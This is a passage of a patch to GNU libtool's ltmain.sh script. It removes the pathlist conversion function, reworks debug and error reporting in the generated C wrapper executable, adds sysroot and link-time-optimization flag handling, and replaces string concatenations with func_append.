--# mingw (msys) mingw [e.g. native]
--# cygwin mingw
--# *nix + wine mingw
--#
--# Path separators are also converted from $build format to
--# $host format. If ARG begins or ends with a path separator
--# character, it is preserved (but converted to $host format)
--# on output.
--#
--# ARG is a pathlist (on $build) that should be converted to
--# the proper representation on $host. The result is stored
--# in $func_to_host_pathlist_result.
--func_to_host_pathlist ()
--{
-- func_to_host_pathlist_result="$1"
-- if test -n "$1"; then
-- case $host in
-- *mingw* )
-- lt_sed_naive_backslashify='s|\\\\*|\\|g;s|/|\\|g;s|\\|\\\\|g'
-- # Remove leading and trailing path separator characters from
-- # ARG. msys behavior is inconsistent here, cygpath turns them
-- # into '.;' and ';.', and winepath ignores them completely.
-- func_stripname : : "$1"
-- func_to_host_pathlist_tmp1=$func_stripname_result
-- case $build in
-- *mingw* ) # Actually, msys.
-- # Awkward: cmd appends spaces to result.
-- func_to_host_pathlist_result=`
-- ( cmd //c echo "$func_to_host_pathlist_tmp1" ) 2>/dev/null |
-- $SED -e 's/[ ]*$//' -e "$lt_sed_naive_backslashify"`
-- ;;
-- *cygwin* )
-- func_to_host_pathlist_result=`cygpath -w -p "$func_to_host_pathlist_tmp1" |
-- $SED -e "$lt_sed_naive_backslashify"`
-- ;;
-- * )
-- # unfortunately, winepath doesn't convert pathlists
-- func_to_host_pathlist_result=""
-- func_to_host_pathlist_oldIFS=$IFS
-- IFS=:
-- for func_to_host_pathlist_f in $func_to_host_pathlist_tmp1 ; do
-- IFS=$func_to_host_pathlist_oldIFS
-- if test -n "$func_to_host_pathlist_f" ; then
-- func_to_host_path "$func_to_host_pathlist_f"
-- if test -n "$func_to_host_path_result" ; then
-- if test -z "$func_to_host_pathlist_result" ; then
-- func_to_host_pathlist_result="$func_to_host_path_result"
-- else
-- func_append func_to_host_pathlist_result ";$func_to_host_path_result"
-- fi
-- fi
-- fi
-- done
-- IFS=$func_to_host_pathlist_oldIFS
-- ;;
-- esac
-- if test -z "$func_to_host_pathlist_result"; then
-- func_error "Could not determine the host path(s) corresponding to"
-- func_error " \`$1'"
-- func_error "Continuing, but uninstalled executables may not work."
-- # Fallback. This may break if $1 contains DOS-style drive
-- # specifications. The fix is not to complicate the expression
-- # below, but for the user to provide a working wine installation
-- # with winepath so that path translation in the cross-to-mingw
-- # case works properly.
-- lt_replace_pathsep_nix_to_dos="s|:|;|g"
-- func_to_host_pathlist_result=`echo "$func_to_host_pathlist_tmp1" |\
-- $SED -e "$lt_replace_pathsep_nix_to_dos"`
-- fi
-- # Now, add the leading and trailing path separators back
-- case "$1" in
-- :* ) func_to_host_pathlist_result=";$func_to_host_pathlist_result"
-- ;;
-- esac
-- case "$1" in
-- *: ) func_append func_to_host_pathlist_result ";"
-- ;;
-- esac
-- ;;
-- esac
-- fi
--}
--# end: func_to_host_pathlist
--
- # func_emit_cwrapperexe_src
- # emit the source code for a wrapper executable on stdout
- # Must ONLY be called from within func_mode_link because
-@@ -3334,10 +4148,6 @@ func_emit_cwrapperexe_src ()
-
- This wrapper executable should never be moved out of the build directory.
- If it is, it will not operate correctly.
--
-- Currently, it simply execs the wrapper *script* "$SHELL $output",
-- but could eventually absorb all of the scripts functionality and
-- exec $objdir/$outputname directly.
- */
- EOF
- cat <<"EOF"
-@@ -3462,22 +4272,13 @@ int setenv (const char *, const char *, int);
- if (stale) { free ((void *) stale); stale = 0; } \
- } while (0)
-
--#undef LTWRAPPER_DEBUGPRINTF
--#if defined LT_DEBUGWRAPPER
--# define LTWRAPPER_DEBUGPRINTF(args) ltwrapper_debugprintf args
--static void
--ltwrapper_debugprintf (const char *fmt, ...)
--{
-- va_list args;
-- va_start (args, fmt);
-- (void) vfprintf (stderr, fmt, args);
-- va_end (args);
--}
-+#if defined(LT_DEBUGWRAPPER)
-+static int lt_debug = 1;
- #else
--# define LTWRAPPER_DEBUGPRINTF(args)
-+static int lt_debug = 0;
- #endif
-
--const char *program_name = NULL;
-+const char *program_name = "libtool-wrapper"; /* in case xstrdup fails */
-
- void *xmalloc (size_t num);
- char *xstrdup (const char *string);
-@@ -3487,7 +4288,10 @@ char *chase_symlinks (const char *pathspec);
- int make_executable (const char *path);
- int check_executable (const char *path);
- char *strendzap (char *str, const char *pat);
--void lt_fatal (const char *message, ...);
-+void lt_debugprintf (const char *file, int line, const char *fmt, ...);
-+void lt_fatal (const char *file, int line, const char *message, ...);
-+static const char *nonnull (const char *s);
-+static const char *nonempty (const char *s);
- void lt_setenv (const char *name, const char *value);
- char *lt_extend_str (const char *orig_value, const char *add, int to_end);
- void lt_update_exe_path (const char *name, const char *value);
-@@ -3497,14 +4301,14 @@ void lt_dump_script (FILE *f);
- EOF
-
- cat <<EOF
--const char * MAGIC_EXE = "$magic_exe";
-+volatile const char * MAGIC_EXE = "$magic_exe";
- const char * LIB_PATH_VARNAME = "$shlibpath_var";
- EOF
-
- if test "$shlibpath_overrides_runpath" = yes && test -n "$shlibpath_var" && test -n "$temp_rpath"; then
-- func_to_host_pathlist "$temp_rpath"
-+ func_to_host_path "$temp_rpath"
- cat <<EOF
--const char * LIB_PATH_VALUE = "$func_to_host_pathlist_result";
-+const char * LIB_PATH_VALUE = "$func_to_host_path_result";
- EOF
- else
- cat <<"EOF"
-@@ -3513,10 +4317,10 @@ EOF
- fi
-
- if test -n "$dllsearchpath"; then
-- func_to_host_pathlist "$dllsearchpath:"
-+ func_to_host_path "$dllsearchpath:"
- cat <<EOF
- const char * EXE_PATH_VARNAME = "PATH";
--const char * EXE_PATH_VALUE = "$func_to_host_pathlist_result";
-+const char * EXE_PATH_VALUE = "$func_to_host_path_result";
- EOF
- else
- cat <<"EOF"
-@@ -3539,12 +4343,10 @@ EOF
- cat <<"EOF"
-
- #define LTWRAPPER_OPTION_PREFIX "--lt-"
--#define LTWRAPPER_OPTION_PREFIX_LENGTH 5
-
--static const size_t opt_prefix_len = LTWRAPPER_OPTION_PREFIX_LENGTH;
- static const char *ltwrapper_option_prefix = LTWRAPPER_OPTION_PREFIX;
--
- static const char *dumpscript_opt = LTWRAPPER_OPTION_PREFIX "dump-script";
-+static const char *debug_opt = LTWRAPPER_OPTION_PREFIX "debug";
-
- int
- main (int argc, char *argv[])
-@@ -3561,10 +4363,13 @@ main (int argc, char *argv[])
- int i;
-
- program_name = (char *) xstrdup (base_name (argv[0]));
-- LTWRAPPER_DEBUGPRINTF (("(main) argv[0] : %s\n", argv[0]));
-- LTWRAPPER_DEBUGPRINTF (("(main) program_name : %s\n", program_name));
-+ newargz = XMALLOC (char *, argc + 1);
-
-- /* very simple arg parsing; don't want to rely on getopt */
-+ /* very simple arg parsing; don't want to rely on getopt
-+ * also, copy all non cwrapper options to newargz, except
-+ * argz[0], which is handled differently
-+ */
-+ newargc=0;
- for (i = 1; i < argc; i++)
- {
- if (strcmp (argv[i], dumpscript_opt) == 0)
-@@ -3581,21 +4386,54 @@ EOF
- lt_dump_script (stdout);
- return 0;
- }
-+ if (strcmp (argv[i], debug_opt) == 0)
-+ {
-+ lt_debug = 1;
-+ continue;
-+ }
-+ if (strcmp (argv[i], ltwrapper_option_prefix) == 0)
-+ {
-+ /* however, if there is an option in the LTWRAPPER_OPTION_PREFIX
-+ namespace, but it is not one of the ones we know about and
-+ have already dealt with, above (inluding dump-script), then
-+ report an error. Otherwise, targets might begin to believe
-+ they are allowed to use options in the LTWRAPPER_OPTION_PREFIX
-+ namespace. The first time any user complains about this, we'll
-+ need to make LTWRAPPER_OPTION_PREFIX a configure-time option
-+ or a configure.ac-settable value.
-+ */
-+ lt_fatal (__FILE__, __LINE__,
-+ "unrecognized %s option: '%s'",
-+ ltwrapper_option_prefix, argv[i]);
-+ }
-+ /* otherwise ... */
-+ newargz[++newargc] = xstrdup (argv[i]);
- }
-+ newargz[++newargc] = NULL;
-+
-+EOF
-+ cat <<EOF
-+ /* The GNU banner must be the first non-error debug message */
-+ lt_debugprintf (__FILE__, __LINE__, "libtool wrapper (GNU $PACKAGE$TIMESTAMP) $VERSION\n");
-+EOF
-+ cat <<"EOF"
-+ lt_debugprintf (__FILE__, __LINE__, "(main) argv[0]: %s\n", argv[0]);
-+ lt_debugprintf (__FILE__, __LINE__, "(main) program_name: %s\n", program_name);
-
-- newargz = XMALLOC (char *, argc + 1);
- tmp_pathspec = find_executable (argv[0]);
- if (tmp_pathspec == NULL)
-- lt_fatal ("Couldn't find %s", argv[0]);
-- LTWRAPPER_DEBUGPRINTF (("(main) found exe (before symlink chase) at : %s\n",
-- tmp_pathspec));
-+ lt_fatal (__FILE__, __LINE__, "couldn't find %s", argv[0]);
-+ lt_debugprintf (__FILE__, __LINE__,
-+ "(main) found exe (before symlink chase) at: %s\n",
-+ tmp_pathspec);
-
- actual_cwrapper_path = chase_symlinks (tmp_pathspec);
-- LTWRAPPER_DEBUGPRINTF (("(main) found exe (after symlink chase) at : %s\n",
-- actual_cwrapper_path));
-+ lt_debugprintf (__FILE__, __LINE__,
-+ "(main) found exe (after symlink chase) at: %s\n",
-+ actual_cwrapper_path);
- XFREE (tmp_pathspec);
-
-- actual_cwrapper_name = xstrdup( base_name (actual_cwrapper_path));
-+ actual_cwrapper_name = xstrdup (base_name (actual_cwrapper_path));
- strendzap (actual_cwrapper_path, actual_cwrapper_name);
-
- /* wrapper name transforms */
-@@ -3613,8 +4451,9 @@ EOF
- target_name = tmp_pathspec;
- tmp_pathspec = 0;
-
-- LTWRAPPER_DEBUGPRINTF (("(main) libtool target name: %s\n",
-- target_name));
-+ lt_debugprintf (__FILE__, __LINE__,
-+ "(main) libtool target name: %s\n",
-+ target_name);
- EOF
-
- cat <<EOF
-@@ -3664,35 +4503,19 @@ EOF
-
- lt_setenv ("BIN_SH", "xpg4"); /* for Tru64 */
- lt_setenv ("DUALCASE", "1"); /* for MSK sh */
-- lt_update_lib_path (LIB_PATH_VARNAME, LIB_PATH_VALUE);
-+ /* Update the DLL searchpath. EXE_PATH_VALUE ($dllsearchpath) must
-+ be prepended before (that is, appear after) LIB_PATH_VALUE ($temp_rpath)
-+ because on Windows, both *_VARNAMEs are PATH but uninstalled
-+ libraries must come first. */
- lt_update_exe_path (EXE_PATH_VARNAME, EXE_PATH_VALUE);
-+ lt_update_lib_path (LIB_PATH_VARNAME, LIB_PATH_VALUE);
-
-- newargc=0;
-- for (i = 1; i < argc; i++)
-- {
-- if (strncmp (argv[i], ltwrapper_option_prefix, opt_prefix_len) == 0)
-- {
-- /* however, if there is an option in the LTWRAPPER_OPTION_PREFIX
-- namespace, but it is not one of the ones we know about and
-- have already dealt with, above (inluding dump-script), then
-- report an error. Otherwise, targets might begin to believe
-- they are allowed to use options in the LTWRAPPER_OPTION_PREFIX
-- namespace. The first time any user complains about this, we'll
-- need to make LTWRAPPER_OPTION_PREFIX a configure-time option
-- or a configure.ac-settable value.
-- */
-- lt_fatal ("Unrecognized option in %s namespace: '%s'",
-- ltwrapper_option_prefix, argv[i]);
-- }
-- /* otherwise ... */
-- newargz[++newargc] = xstrdup (argv[i]);
-- }
-- newargz[++newargc] = NULL;
--
-- LTWRAPPER_DEBUGPRINTF (("(main) lt_argv_zero : %s\n", (lt_argv_zero ? lt_argv_zero : "<NULL>")));
-+ lt_debugprintf (__FILE__, __LINE__, "(main) lt_argv_zero: %s\n",
-+ nonnull (lt_argv_zero));
- for (i = 0; i < newargc; i++)
- {
-- LTWRAPPER_DEBUGPRINTF (("(main) newargz[%d] : %s\n", i, (newargz[i] ? newargz[i] : "<NULL>")));
-+ lt_debugprintf (__FILE__, __LINE__, "(main) newargz[%d]: %s\n",
-+ i, nonnull (newargz[i]));
- }
-
- EOF
-@@ -3706,7 +4529,9 @@ EOF
- if (rval == -1)
- {
- /* failed to start process */
-- LTWRAPPER_DEBUGPRINTF (("(main) failed to launch target \"%s\": errno = %d\n", lt_argv_zero, errno));
-+ lt_debugprintf (__FILE__, __LINE__,
-+ "(main) failed to launch target \"%s\": %s\n",
-+ lt_argv_zero, nonnull (strerror (errno)));
- return 127;
- }
- return rval;
-@@ -3728,7 +4553,7 @@ xmalloc (size_t num)
- {
- void *p = (void *) malloc (num);
- if (!p)
-- lt_fatal ("Memory exhausted");
-+ lt_fatal (__FILE__, __LINE__, "memory exhausted");
-
- return p;
- }
-@@ -3762,8 +4587,8 @@ check_executable (const char *path)
- {
- struct stat st;
-
-- LTWRAPPER_DEBUGPRINTF (("(check_executable) : %s\n",
-- path ? (*path ? path : "EMPTY!") : "NULL!"));
-+ lt_debugprintf (__FILE__, __LINE__, "(check_executable): %s\n",
-+ nonempty (path));
- if ((!path) || (!*path))
- return 0;
-
-@@ -3780,8 +4605,8 @@ make_executable (const char *path)
- int rval = 0;
- struct stat st;
-
-- LTWRAPPER_DEBUGPRINTF (("(make_executable) : %s\n",
-- path ? (*path ? path : "EMPTY!") : "NULL!"));
-+ lt_debugprintf (__FILE__, __LINE__, "(make_executable): %s\n",
-+ nonempty (path));
- if ((!path) || (!*path))
- return 0;
-
-@@ -3807,8 +4632,8 @@ find_executable (const char *wrapper)
- int tmp_len;
- char *concat_name;
-
-- LTWRAPPER_DEBUGPRINTF (("(find_executable) : %s\n",
-- wrapper ? (*wrapper ? wrapper : "EMPTY!") : "NULL!"));
-+ lt_debugprintf (__FILE__, __LINE__, "(find_executable): %s\n",
-+ nonempty (wrapper));
-
- if ((wrapper == NULL) || (*wrapper == '\0'))
- return NULL;
-@@ -3861,7 +4686,8 @@ find_executable (const char *wrapper)
- {
- /* empty path: current directory */
- if (getcwd (tmp, LT_PATHMAX) == NULL)
-- lt_fatal ("getcwd failed");
-+ lt_fatal (__FILE__, __LINE__, "getcwd failed: %s",
-+ nonnull (strerror (errno)));
- tmp_len = strlen (tmp);
- concat_name =
- XMALLOC (char, tmp_len + 1 + strlen (wrapper) + 1);
-@@ -3886,7 +4712,8 @@ find_executable (const char *wrapper)
- }
- /* Relative path | not found in path: prepend cwd */
- if (getcwd (tmp, LT_PATHMAX) == NULL)
-- lt_fatal ("getcwd failed");
-+ lt_fatal (__FILE__, __LINE__, "getcwd failed: %s",
-+ nonnull (strerror (errno)));
- tmp_len = strlen (tmp);
- concat_name = XMALLOC (char, tmp_len + 1 + strlen (wrapper) + 1);
- memcpy (concat_name, tmp, tmp_len);
-@@ -3912,8 +4739,9 @@ chase_symlinks (const char *pathspec)
- int has_symlinks = 0;
- while (strlen (tmp_pathspec) && !has_symlinks)
- {
-- LTWRAPPER_DEBUGPRINTF (("checking path component for symlinks: %s\n",
-- tmp_pathspec));
-+ lt_debugprintf (__FILE__, __LINE__,
-+ "checking path component for symlinks: %s\n",
-+ tmp_pathspec);
- if (lstat (tmp_pathspec, &s) == 0)
- {
- if (S_ISLNK (s.st_mode) != 0)
-@@ -3935,8 +4763,9 @@ chase_symlinks (const char *pathspec)
- }
- else
- {
-- char *errstr = strerror (errno);
-- lt_fatal ("Error accessing file %s (%s)", tmp_pathspec, errstr);
-+ lt_fatal (__FILE__, __LINE__,
-+ "error accessing file \"%s\": %s",
-+ tmp_pathspec, nonnull (strerror (errno)));
- }
- }
- XFREE (tmp_pathspec);
-@@ -3949,7 +4778,8 @@ chase_symlinks (const char *pathspec)
- tmp_pathspec = realpath (pathspec, buf);
- if (tmp_pathspec == 0)
- {
-- lt_fatal ("Could not follow symlinks for %s", pathspec);
-+ lt_fatal (__FILE__, __LINE__,
-+ "could not follow symlinks for %s", pathspec);
- }
- return xstrdup (tmp_pathspec);
- #endif
-@@ -3975,11 +4805,25 @@ strendzap (char *str, const char *pat)
- return str;
- }
-
-+void
-+lt_debugprintf (const char *file, int line, const char *fmt, ...)
-+{
-+ va_list args;
-+ if (lt_debug)
-+ {
-+ (void) fprintf (stderr, "%s:%s:%d: ", program_name, file, line);
-+ va_start (args, fmt);
-+ (void) vfprintf (stderr, fmt, args);
-+ va_end (args);
-+ }
-+}
-+
- static void
--lt_error_core (int exit_status, const char *mode,
-+lt_error_core (int exit_status, const char *file,
-+ int line, const char *mode,
- const char *message, va_list ap)
- {
-- fprintf (stderr, "%s: %s: ", program_name, mode);
-+ fprintf (stderr, "%s:%s:%d: %s: ", program_name, file, line, mode);
- vfprintf (stderr, message, ap);
- fprintf (stderr, ".\n");
-
-@@ -3988,20 +4832,32 @@ lt_error_core (int exit_status, const char *mode,
- }
-
- void
--lt_fatal (const char *message, ...)
-+lt_fatal (const char *file, int line, const char *message, ...)
- {
- va_list ap;
- va_start (ap, message);
-- lt_error_core (EXIT_FAILURE, "FATAL", message, ap);
-+ lt_error_core (EXIT_FAILURE, file, line, "FATAL", message, ap);
- va_end (ap);
- }
-
-+static const char *
-+nonnull (const char *s)
-+{
-+ return s ? s : "(null)";
-+}
-+
-+static const char *
-+nonempty (const char *s)
-+{
-+ return (s && !*s) ? "(empty)" : nonnull (s);
-+}
-+
- void
- lt_setenv (const char *name, const char *value)
- {
-- LTWRAPPER_DEBUGPRINTF (("(lt_setenv) setting '%s' to '%s'\n",
-- (name ? name : "<NULL>"),
-- (value ? value : "<NULL>")));
-+ lt_debugprintf (__FILE__, __LINE__,
-+ "(lt_setenv) setting '%s' to '%s'\n",
-+ nonnull (name), nonnull (value));
- {
- #ifdef HAVE_SETENV
- /* always make a copy, for consistency with !HAVE_SETENV */
-@@ -4049,9 +4905,9 @@ lt_extend_str (const char *orig_value, const char *add, int to_end)
- void
- lt_update_exe_path (const char *name, const char *value)
- {
-- LTWRAPPER_DEBUGPRINTF (("(lt_update_exe_path) modifying '%s' by prepending '%s'\n",
-- (name ? name : "<NULL>"),
-- (value ? value : "<NULL>")));
-+ lt_debugprintf (__FILE__, __LINE__,
-+ "(lt_update_exe_path) modifying '%s' by prepending '%s'\n",
-+ nonnull (name), nonnull (value));
-
- if (name && *name && value && *value)
- {
-@@ -4070,9 +4926,9 @@ lt_update_exe_path (const char *name, const char *value)
- void
- lt_update_lib_path (const char *name, const char *value)
- {
-- LTWRAPPER_DEBUGPRINTF (("(lt_update_lib_path) modifying '%s' by prepending '%s'\n",
-- (name ? name : "<NULL>"),
-- (value ? value : "<NULL>")));
-+ lt_debugprintf (__FILE__, __LINE__,
-+ "(lt_update_lib_path) modifying '%s' by prepending '%s'\n",
-+ nonnull (name), nonnull (value));
-
- if (name && *name && value && *value)
- {
-@@ -4222,7 +5078,7 @@ EOF
- func_win32_import_lib_p ()
- {
- $opt_debug
-- case `eval "$file_magic_cmd \"\$1\" 2>/dev/null" | $SED -e 10q` in
-+ case `eval $file_magic_cmd \"\$1\" 2>/dev/null | $SED -e 10q` in
- *import*) : ;;
- *) false ;;
- esac
-@@ -4401,9 +5257,9 @@ func_mode_link ()
- ;;
- *)
- if test "$prev" = dlfiles; then
-- dlfiles="$dlfiles $arg"
-+ func_append dlfiles " $arg"
- else
-- dlprefiles="$dlprefiles $arg"
-+ func_append dlprefiles " $arg"
- fi
- prev=
- continue
-@@ -4427,7 +5283,7 @@ func_mode_link ()
- *-*-darwin*)
- case "$deplibs " in
- *" $qarg.ltframework "*) ;;
-- *) deplibs="$deplibs $qarg.ltframework" # this is fixed later
-+ *) func_append deplibs " $qarg.ltframework" # this is fixed later
- ;;
- esac
- ;;
-@@ -4446,7 +5302,7 @@ func_mode_link ()
- moreargs=
- for fil in `cat "$save_arg"`
- do
--# moreargs="$moreargs $fil"
-+# func_append moreargs " $fil"
- arg=$fil
- # A libtool-controlled object.
-
-@@ -4475,7 +5331,7 @@ func_mode_link ()
-
- if test "$prev" = dlfiles; then
- if test "$build_libtool_libs" = yes && test "$dlopen_support" = yes; then
-- dlfiles="$dlfiles $pic_object"
-+ func_append dlfiles " $pic_object"
- prev=
- continue
- else
-@@ -4487,7 +5343,7 @@ func_mode_link ()
- # CHECK ME: I think I busted this. -Ossama
- if test "$prev" = dlprefiles; then
- # Preload the old-style object.
-- dlprefiles="$dlprefiles $pic_object"
-+ func_append dlprefiles " $pic_object"
- prev=
- fi
-
-@@ -4557,12 +5413,12 @@ func_mode_link ()
- if test "$prev" = rpath; then
- case "$rpath " in
- *" $arg "*) ;;
-- *) rpath="$rpath $arg" ;;
-+ *) func_append rpath " $arg" ;;
- esac
- else
- case "$xrpath " in
- *" $arg "*) ;;
-- *) xrpath="$xrpath $arg" ;;
-+ *) func_append xrpath " $arg" ;;
- esac
- fi
- prev=
-@@ -4574,28 +5430,28 @@ func_mode_link ()
- continue
- ;;
- weak)
-- weak_libs="$weak_libs $arg"
-+ func_append weak_libs " $arg"
- prev=
- continue
- ;;
- xcclinker)
-- linker_flags="$linker_flags $qarg"
-- compiler_flags="$compiler_flags $qarg"
-+ func_append linker_flags " $qarg"
-+ func_append compiler_flags " $qarg"
- prev=
- func_append compile_command " $qarg"
- func_append finalize_command " $qarg"
- continue
- ;;
- xcompiler)
-- compiler_flags="$compiler_flags $qarg"
-+ func_append compiler_flags " $qarg"
- prev=
- func_append compile_command " $qarg"
- func_append finalize_command " $qarg"
- continue
- ;;
- xlinker)
-- linker_flags="$linker_flags $qarg"
-- compiler_flags="$compiler_flags $wl$qarg"
-+ func_append linker_flags " $qarg"
-+ func_append compiler_flags " $wl$qarg"
- prev=
- func_append compile_command " $wl$qarg"
- func_append finalize_command " $wl$qarg"
-@@ -4686,15 +5542,16 @@ func_mode_link ()
- ;;
-
- -L*)
-- func_stripname '-L' '' "$arg"
-- dir=$func_stripname_result
-- if test -z "$dir"; then
-+ func_stripname "-L" '' "$arg"
-+ if test -z "$func_stripname_result"; then
- if test "$#" -gt 0; then
- func_fatal_error "require no space between \`-L' and \`$1'"
- else
- func_fatal_error "need path for \`-L' option"
- fi
- fi
-+ func_resolve_sysroot "$func_stripname_result"
-+ dir=$func_resolve_sysroot_result
- # We need an absolute path.
- case $dir in
- [\\/]* | [A-Za-z]:[\\/]*) ;;
-@@ -4706,10 +5563,16 @@ func_mode_link ()
- ;;
- esac
- case "$deplibs " in
-- *" -L$dir "*) ;;
-+ *" -L$dir "* | *" $arg "*)
-+ # Will only happen for absolute or sysroot arguments
-+ ;;
- *)
-- deplibs="$deplibs -L$dir"
-- lib_search_path="$lib_search_path $dir"
-+ # Preserve sysroot, but never include relative directories
-+ case $dir in
-+ [\\/]* | [A-Za-z]:[\\/]* | =*) func_append deplibs " $arg" ;;
-+ *) func_append deplibs " -L$dir" ;;
-+ esac
-+ func_append lib_search_path " $dir"
- ;;
- esac
- case $host in
-@@ -4718,12 +5581,12 @@ func_mode_link ()
- case :$dllsearchpath: in
- *":$dir:"*) ;;
- ::) dllsearchpath=$dir;;
-- *) dllsearchpath="$dllsearchpath:$dir";;
-+ *) func_append dllsearchpath ":$dir";;
- esac
- case :$dllsearchpath: in
- *":$testbindir:"*) ;;
- ::) dllsearchpath=$testbindir;;
-- *) dllsearchpath="$dllsearchpath:$testbindir";;
-+ *) func_append dllsearchpath ":$testbindir";;
- esac
- ;;
- esac
-@@ -4747,7 +5610,7 @@ func_mode_link ()
- ;;
- *-*-rhapsody* | *-*-darwin1.[012])
- # Rhapsody C and math libraries are in the System framework
-- deplibs="$deplibs System.ltframework"
-+ func_append deplibs " System.ltframework"
- continue
- ;;
- *-*-sco3.2v5* | *-*-sco5v6*)
-@@ -4758,9 +5621,6 @@ func_mode_link ()
- # Compiler inserts libc in the correct place for threads to work
- test "X$arg" = "X-lc" && continue
- ;;
-- *-*-linux*)
-- test "X$arg" = "X-lc" && continue
-- ;;
- esac
- elif test "X$arg" = "X-lc_r"; then
- case $host in
-@@ -4770,7 +5630,7 @@ func_mode_link ()
- ;;
- esac
- fi
-- deplibs="$deplibs $arg"
-+ func_append deplibs " $arg"
- continue
- ;;
-
-@@ -4782,8 +5642,8 @@ func_mode_link ()
- # Tru64 UNIX uses -model [arg] to determine the layout of C++
- # classes, name mangling, and exception handling.
- # Darwin uses the -arch flag to determine output architecture.
-- -model|-arch|-isysroot)
-- compiler_flags="$compiler_flags $arg"
-+ -model|-arch|-isysroot|--sysroot)
-+ func_append compiler_flags " $arg"
- func_append compile_command " $arg"
- func_append finalize_command " $arg"
- prev=xcompiler
-@@ -4791,12 +5651,12 @@ func_mode_link ()
- ;;
-
- -mt|-mthreads|-kthread|-Kthread|-pthread|-pthreads|--thread-safe|-threads)
-- compiler_flags="$compiler_flags $arg"
-+ func_append compiler_flags " $arg"
- func_append compile_command " $arg"
- func_append finalize_command " $arg"
- case "$new_inherited_linker_flags " in
- *" $arg "*) ;;
-- * ) new_inherited_linker_flags="$new_inherited_linker_flags $arg" ;;
-+ * ) func_append new_inherited_linker_flags " $arg" ;;
- esac
- continue
- ;;
-@@ -4863,13 +5723,17 @@ func_mode_link ()
- # We need an absolute path.
- case $dir in
- [\\/]* | [A-Za-z]:[\\/]*) ;;
-+ =*)
-+ func_stripname '=' '' "$dir"
-+ dir=$lt_sysroot$func_stripname_result
-+ ;;
- *)
- func_fatal_error "only absolute run-paths are allowed"
- ;;
- esac
- case "$xrpath " in
- *" $dir "*) ;;
-- *) xrpath="$xrpath $dir" ;;
-+ *) func_append xrpath " $dir" ;;
- esac
- continue
- ;;
-@@ -4922,8 +5786,8 @@ func_mode_link ()
- for flag in $args; do
- IFS="$save_ifs"
- func_quote_for_eval "$flag"
-- arg="$arg $func_quote_for_eval_result"
-- compiler_flags="$compiler_flags $func_quote_for_eval_result"
-+ func_append arg " $func_quote_for_eval_result"
-+ func_append compiler_flags " $func_quote_for_eval_result"
- done
- IFS="$save_ifs"
- func_stripname ' ' '' "$arg"
-@@ -4938,9 +5802,9 @@ func_mode_link ()
- for flag in $args; do
- IFS="$save_ifs"
- func_quote_for_eval "$flag"
-- arg="$arg $wl$func_quote_for_eval_result"
-- compiler_flags="$compiler_flags $wl$func_quote_for_eval_result"
-- linker_flags="$linker_flags $func_quote_for_eval_result"
-+ func_append arg " $wl$func_quote_for_eval_result"
-+ func_append compiler_flags " $wl$func_quote_for_eval_result"
-+ func_append linker_flags " $func_quote_for_eval_result"
- done
- IFS="$save_ifs"
- func_stripname ' ' '' "$arg"
-@@ -4968,24 +5832,27 @@ func_mode_link ()
- arg="$func_quote_for_eval_result"
- ;;
-
-- # -64, -mips[0-9] enable 64-bit mode on the SGI compiler
-- # -r[0-9][0-9]* specifies the processor on the SGI compiler
-- # -xarch=*, -xtarget=* enable 64-bit mode on the Sun compiler
-- # +DA*, +DD* enable 64-bit mode on the HP compiler
-- # -q* pass through compiler args for the IBM compiler
-- # -m*, -t[45]*, -txscale* pass through architecture-specific
-- # compiler args for GCC
-- # -F/path gives path to uninstalled frameworks, gcc on darwin
-- # -p, -pg, --coverage, -fprofile-* pass through profiling flag for GCC
-- # @file GCC response files
-- # -tp=* Portland pgcc target processor selection
-+ # Flags to be passed through unchanged, with rationale:
-+ # -64, -mips[0-9] enable 64-bit mode for the SGI compiler
-+ # -r[0-9][0-9]* specify processor for the SGI compiler
-+ # -xarch=*, -xtarget=* enable 64-bit mode for the Sun compiler
-+ # +DA*, +DD* enable 64-bit mode for the HP compiler
-+ # -q* compiler args for the IBM compiler
-+ # -m*, -t[45]*, -txscale* architecture-specific flags for GCC
-+ # -F/path path to uninstalled frameworks, gcc on darwin
-+ # -p, -pg, --coverage, -fprofile-* profiling flags for GCC
-+ # @file GCC response files
-+ # -tp=* Portland pgcc target processor selection
-+ # --sysroot=* for sysroot support
-+ # -O*, -flto*, -fwhopr*, -fuse-linker-plugin GCC link-time optimization
- -64|-mips[0-9]|-r[0-9][0-9]*|-xarch=*|-xtarget=*|+DA*|+DD*|-q*|-m*| \
-- -t[45]*|-txscale*|-p|-pg|--coverage|-fprofile-*|-F*|@*|-tp=*)
-+ -t[45]*|-txscale*|-p|-pg|--coverage|-fprofile-*|-F*|@*|-tp=*|--sysroot=*| \
-+ -O*|-flto*|-fwhopr*|-fuse-linker-plugin)
- func_quote_for_eval "$arg"
- arg="$func_quote_for_eval_result"
- func_append compile_command " $arg"
- func_append finalize_command " $arg"
-- compiler_flags="$compiler_flags $arg"
-+ func_append compiler_flags " $arg"
- continue
- ;;
-
-@@ -4997,7 +5864,7 @@ func_mode_link ()
-
- *.$objext)
- # A standard object.
-- objs="$objs $arg"
-+ func_append objs " $arg"
- ;;
-
- *.lo)
-@@ -5028,7 +5895,7 @@ func_mode_link ()
-
- if test "$prev" = dlfiles; then
- if test "$build_libtool_libs" = yes && test "$dlopen_support" = yes; then
-- dlfiles="$dlfiles $pic_object"
-+ func_append dlfiles " $pic_object"
- prev=
- continue
- else
-@@ -5040,7 +5907,7 @@ func_mode_link ()
- # CHECK ME: I think I busted this. -Ossama
- if test "$prev" = dlprefiles; then
- # Preload the old-style object.
-- dlprefiles="$dlprefiles $pic_object"
-+ func_append dlprefiles " $pic_object"
- prev=
- fi
-
-@@ -5085,24 +5952,25 @@ func_mode_link ()
-
- *.$libext)
- # An archive.
-- deplibs="$deplibs $arg"
-- old_deplibs="$old_deplibs $arg"
-+ func_append deplibs " $arg"
-+ func_append old_deplibs " $arg"
- continue
- ;;
-
- *.la)
- # A libtool-controlled library.
-
-+ func_resolve_sysroot "$arg"
- if test "$prev" = dlfiles; then
- # This library was specified with -dlopen.
-- dlfiles="$dlfiles $arg"
-+ func_append dlfiles " $func_resolve_sysroot_result"
- prev=
- elif test "$prev" = dlprefiles; then
- # The library was specified with -dlpreopen.
-- dlprefiles="$dlprefiles $arg"
-+ func_append dlprefiles " $func_resolve_sysroot_result"
- prev=
- else
-- deplibs="$deplibs $arg"
-+ func_append deplibs " $func_resolve_sysroot_result"
- fi
- continue
- ;;
-@@ -5127,7 +5995,7 @@ func_mode_link ()
- func_fatal_help "the \`$prevarg' option requires an argument"
-
- if test "$export_dynamic" = yes && test -n "$export_dynamic_flag_spec"; then
-- eval "arg=\"$export_dynamic_flag_spec\""
-+ eval arg=\"$export_dynamic_flag_spec\"
- func_append compile_command " $arg"
- func_append finalize_command " $arg"
- fi
